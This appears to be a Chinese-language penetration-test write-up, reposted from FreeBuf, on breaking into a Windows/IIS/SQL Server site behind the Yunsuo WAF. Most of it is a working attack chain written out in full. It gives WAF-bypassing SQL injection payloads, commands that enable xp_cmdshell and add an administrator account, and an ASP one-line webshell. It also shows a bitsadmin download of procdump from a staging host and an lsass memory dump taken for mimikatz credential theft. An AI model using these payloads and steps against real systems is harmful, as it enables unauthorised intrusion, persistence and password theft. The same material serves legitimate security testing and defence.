前言
在初测某系统时,发现该系统存在文件上传,SQL注入等高危漏洞。
经过一段时间的整改。复测时发现系统的文件上传漏洞已经修复。但仍然存在SQL注入漏洞。只不过加了一层云锁的防护。
信息收集
IP为阿里云、windows+IIS+aspx+sql server、云锁的防护、80、1433、3389端口开放
sql注入
sql注入点还是初测的搜索框的注入。在云锁的防护下,无法使用sqlmap跑包。
会封IP。
笔者选择手动注入bypass
简单的payload
1%';execute('sel'%2b'ect convert(int,@@version)') -- 1%';execute('sel'%2b'ect convert(int,user)') -- 1%';if(select IS_SRVROLEMEMBER('sysadmin'))=1 waitfor delay '0:0:5' --
笔者考虑到sqlserver数据库的庞大数据问题,以及上传漏洞被修复。可能进了管理后台也不存在上传漏洞。 且当前sqlserver为dbo用户,可以命令执行。
(还有一思路:利用dnslog读取sqlserver的密码,然后远程连接sqlserver数据库。尝试了多半个小时还是没法bypass)
命令执行
sqlserver执行系统需要开启xp_cmdshell组件。
exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure;
执行时云锁并未拦截。
页面没有回显。不知道是否成功开启。
执行几条系统命令试试。
依然没有回显。
将命令执行输出到网站可访问的目录下。(网站根目录是初测文件上传看到的)
system的权限,再加上IP为阿里云,直接添加用户远程好啦。
哪知道,这才是刚刚开始。
1%';exec master.dbo.xp_cmdshell "whoami >> c:\\xxx\\Admin\\1.txt" 1%';exec master.dbo.xp_cmdshell "dir >> c:\\xxx\\Admin\\1.txt" 1%';exec master.dbo.xp_cmdshell "tasklist >> c:\\xxx\\Admin\\1.txt" 1%';exec master.dbo.xp_cmdshell "net user admin 1234qwer.. /add >> c:\\xxx\\Admin\\1.txt" 1%';exec master.dbo.xp_cmdshell "net user >> c:\\xxx\\Admin\\1.txt"
几条命令执行后,竟然没法添加上用户。可能进程里存在防护。
陷入僵局······
思路一
通过echo写入asp一句话马,bypass 云锁可以使用include包含。
结果服务器500
echo ^<%eval request('x')%^> > c:\\wwwroot\\xxxx\Admin\\2.txt echo ^<!--#include file='2.txt'--^> > c:\\wwwroot\\xxxx\Admin\\2.asp
思路二
使用冰蝎自带的asp webshell。将源码base64编码后,certutil -encode 解码生成asp马。
结果字符长度有限制。
思路三
打算使用frp+metasploit,然后发现vps被封啦。
最后采用prodump+mimikatz读取windows密码
Procdump导出lsass.dmp
通过bitsadmin命令远程下载prodump文件到目标机上。
(因为vps不能用,笔者先将prodump64.exe上传到曾经被拿下且还存活的靶机上,再通过bitsadmin命令从靶机上下载prodump64.exe到目标机上。简单来说,相当于中转了一下)
bitsadmin /transfer myDownLoadJob /download /priority normal "http://111.xxxx:82/ArcGIS/procdump.exe" "C:\\Windows\\system32\\procdump.exe"
为了避免再次出现字符长度的限制,笔者选择下载到c:\\windows\\system\\目录下
即sql server命令执行的目录。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Procdump导出lsass.dmp
再通过copy 到 c:\wwwroot\xxxx\admin\lsass.dmp
当访问的时候,竟然出现404。笔者一直以为copy命令有误。
dir查看该目录才发现这神奇的问题。
手动将lsass.dmp重命名为x.txt,成功下载。然后在本地上再重命名回dmp。就可以通过mimikatz读取hash
关注我们
Tide安全团队正式成立于2019年1月,是以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号
来源:freebuf.com 2019-06-17 00:40:08 by: CSeroad
请登录后发表评论
注册